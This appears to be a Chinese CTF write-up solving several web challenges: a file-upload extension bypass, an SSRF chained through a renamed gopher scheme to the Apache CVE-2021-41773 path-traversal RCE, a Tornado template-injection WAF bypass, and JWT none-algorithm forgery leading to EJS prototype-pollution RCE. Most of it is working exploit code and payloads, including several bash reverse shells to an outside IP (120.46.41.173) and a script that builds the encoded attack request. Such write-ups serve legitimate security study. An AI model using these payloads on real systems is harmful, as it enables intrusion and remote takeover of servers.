文件上传,绕过
文件名为xxx.xxx/.
时,pathinfo
函数的PATHINFO_EXTENSION只能得到空。
这里使用了file_put_contents()和urlencode
当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。
用表单上传
用蚁剑连接成功但找不到flag
法一:
法二:
flask,file协议
进去一开始是一片空白
看到有个url参数
猜测这里存在SSRF漏洞。尝试伪协议读取/etc/passwd
,成功,存在SSRF。
/?url=file:///etc/passwd
一:读取环境变量/proc/1/environ
,获得flag。(非预期)
/?url=file:///proc/1/environ
二:读取start.sh
/?url=file:///start.sh
读取源码:/?url=file:///app/app.py
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
with open(url[7:], 'r') as f:
return f.read()
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''
app.run('0.0.0.0', 827)
这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。
发现一个很明显的SSRF利用点,本来得用gopher://
协议打,但是这里魔改过,得把字符串gopher://
换成mybox://
。
elif url.startswith('mybox://127.0.0.1:'):port, content = url[18:].split('/_', maxsplit=1)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
先用gopher://
协议发个请求包看看,请求一下不存在的PHP文件,搜集一下信息。
import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
得到gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
换成mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
二次URL编码。mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
发包发到返回状态码404为止,可以看见这里Apache的版本是2.4.49,这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773)
我们用gopher://
协议打CVE-2021-41773,POST发包,执行命令反弹shell。
CVE原理见:https://blog.csdn.net/Jayjay___/article/details/132562801?spm=1001.2014.3001.5501
其中的WEEK5 [Unsafe Apache]
import urllib.parse
payload =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58echo;bash -c 'bash -i >& /dev/tcp/120.46.41.173/9023 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求发包所以要进行两次url编码
发包反弹shell,getflag。
tornado模版注入
import tornado.ioloop
import tornado.web
import os
BASE_DIR = os.path.dirname(__file__)
def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True
class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""
{data}
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')
if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()
直接给了源码
这里过滤了'
, "
, __
, (
, )
, or
, and
, not
, {{
, }}
如果没有过滤,我们的payload:
{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}
这里绕过的主要原理是Tornado模板在渲染时会执行__tt_utf8(__tt_tmp) 这样的函数,所以将__tt_utf8设置为eval,然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE。
{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
根据
data = self.get_argument("ssti")
可知传参名为ssti
用env命令查看环境变量得到flag
JWT空秘钥伪造,ejs的lodash原型链渲染
根据提示找到源码
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')
这里参考大佬的解读
自己注册一个,给了我们一个token,显然是jwt
查看源码,在/register
的路由源码中得知,题目中存在一个nss
的用户名
以及在以nss
登录后,于/update
路由中我们可以构造payload造成ejs模板引擎污染
。
req.session.data = lodash.merge(data, req.body);
中的merge函数是原型链污染高位函数
想要登录,还得关注/login路由的代码
代码中的变量sid
是JWT中的secretid
,要求是不等于undefined
,null
等等。
验证用户名时使用了函数verify
,verify()
指定算法的正确方式应该是通过algorithms
传入数组,而不是algorithm
。
在algorithms
为none
的情况下,空签名且空秘钥是被允许的;如果指定了algorithms
为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none
。
所以我们的目标进一步是使得代码中JWT解密密钥secret
为null
或者undefined
代码中的密钥是变量secret
是global.secrets[sid]
,只要我们使sid
为空数组[]
,也就是JWT中的secretid
为空数组[]
,我们就可以使得上面步骤得以实现,然后用空算法(none)
伪造JWT
那么我们伪造JWT的脚本如下:
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {secretid: [],username: 'nss',password: '1234567',"iat":1695120124}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
得到token即可完成登录
这里是ejs模板引擎污染,直接利用现成的payload。(在/update
路由打)
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台 (anquanke.com)
{
"__proto__":{
"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/2333 0>&1\"');","compileDebug":true
}
}
这里注意把content-type改为application
然后再访问/home反弹shell